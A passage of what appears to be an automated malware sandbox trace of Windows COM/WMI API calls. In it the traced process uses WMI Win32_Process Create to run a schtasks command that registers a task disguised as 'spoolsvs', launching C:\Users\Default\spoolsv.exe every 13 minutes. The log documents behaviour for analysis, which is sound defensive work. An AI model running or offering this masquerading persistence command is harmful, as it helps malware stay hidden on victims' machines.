plFlavor=0x27214c4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27214c0*=8, plFlavor=0x27214c4*=32) returned 0x0 [0158.950] IWbemClassObject:Get (in: This=0x1bc75150, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27214c0*=8, plFlavor=0x27214c4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27214c0*=8, plFlavor=0x27214c4*=32) returned 0x0 [0158.950] IWbemClassObject:Put (This=0x1bc75150, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"spoolsvs\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0158.950] IWbemClassObject:Get (in: This=0x1bc75150, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2721550*=0, plFlavor=0x2721554*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2721550*=13, plFlavor=0x2721554*=32) returned 0x0 [0158.950] IWbemClassObject:Get (in: This=0x1bc75150, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2721550*=13, plFlavor=0x2721554*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2721550*=13, plFlavor=0x2721554*=32) returned 0x0 [0158.950] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbb4db0) returned 0x0 [0158.951] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0158.951] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0158.951] IUnknown:AddRef (This=0x1bbb4db0) returned 0x3 [0158.951] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0158.951] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0158.951] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbb4db8) returned 0x0 [0158.951] IMarshal:GetUnmarshalClass (in: This=0x1bbb4db8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0158.951] IUnknown:Release (This=0x1bbb4db8) returned 0x3 [0158.951] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0158.951] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0158.951] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0158.951] IUnknown:Release (This=0x1bbb4db0) returned 0x2 [0158.952] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0158.952] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0158.952] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0158.952] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0158.952] IUnknown:QueryInterface (in: This=0x1bbb4db0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0158.952] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0158.952] IUnknown:AddRef (This=0x1bbb4db0) returned 0x3 [0158.952] IWbemClassObject:Put (This=0x1bc75150, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbb4db0, varVal2=0x0), Type=0) returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ef00, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ef00, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0158.952] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3efc0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0158.953] IWbemServices:ExecMethod (in: This=0x1bb97d00, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc75150, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc75400, ppCallResult=0x0) returned 0x0 [0159.116] IWbemClassObject:Get (in: This=0x1bc75400, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2721868*=0, plFlavor=0x272186c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8b0, varVal2=0x0), pType=0x2721868*=19, plFlavor=0x272186c*=0) returned 0x0 [0159.116] IWbemClassObject:Get (in: This=0x1bc75400, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2721868*=19, plFlavor=0x272186c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8b0, varVal2=0x0), pType=0x2721868*=19, plFlavor=0x272186c*=0) returned 0x0 [0159.117] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0159.117] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0159.117] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0159.117] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.119] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc15610) returned 0x0 [0159.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15610, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0159.119] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15610, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc40340) returned 0x0 [0159.119] WbemDefPath:IUnknown:Release (This=0x1bc15610) returned 0x0 [0159.119] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc40340) returned 0x0 [0159.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0159.120] WbemDefPath:IUnknown:AddRef (This=0x1bc40340) returned 0x3 [0159.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0159.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0159.120] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc15650) returned 0x0 [0159.120] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15650, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.120] WbemDefPath:IUnknown:Release (This=0x1bc15650) returned 0x3 [0159.120] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0159.120] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0159.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0159.121] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x2 [0159.121] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x1 [0159.121] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0159.121] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0159.121] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc40340) returned 0x0 [0159.121] WbemDefPath:IUnknown:AddRef (This=0x1bc40340) returned 0x3 [0159.121] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x2 [0159.121] WbemDefPath:IWbemPath:SetText (This=0x1bc40340, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40340, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.121] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc40340, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.122] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0159.122] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0159.122] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0159.122] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.124] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc15690) returned 0x0 [0159.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15690, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0159.124] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15690, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3fec0) returned 0x0 [0159.124] WbemDefPath:IUnknown:Release (This=0x1bc15690) returned 0x0 [0159.124] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3fec0) returned 0x0 [0159.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0159.125] WbemDefPath:IUnknown:AddRef (This=0x1bc3fec0) returned 0x3 [0159.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0159.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0159.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc156d0) returned 0x0 [0159.125] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc156d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.125] WbemDefPath:IUnknown:Release (This=0x1bc156d0) returned 0x3 [0159.125] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0159.125] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0159.125] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0159.126] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x2 [0159.126] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x1 [0159.126] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0159.126] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0159.126] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fec0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3fec0) returned 0x0 [0159.126] WbemDefPath:IUnknown:AddRef (This=0x1bc3fec0) returned 0x3 [0159.126] WbemDefPath:IUnknown:Release (This=0x1bc3fec0) returned 0x2 [0159.126] WbemDefPath:IWbemPath:SetText (This=0x1bc3fec0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0159.126] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fec0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.126] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0159.126] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0159.126] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3fec0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.126] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fec0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0159.126] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3fec0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0159.127] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fec0, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0159.127] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0159.127] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0159.127] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.127] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0159.127] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0159.127] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0159.127] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.129] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc15710) returned 0x0 [0159.129] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15710, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, 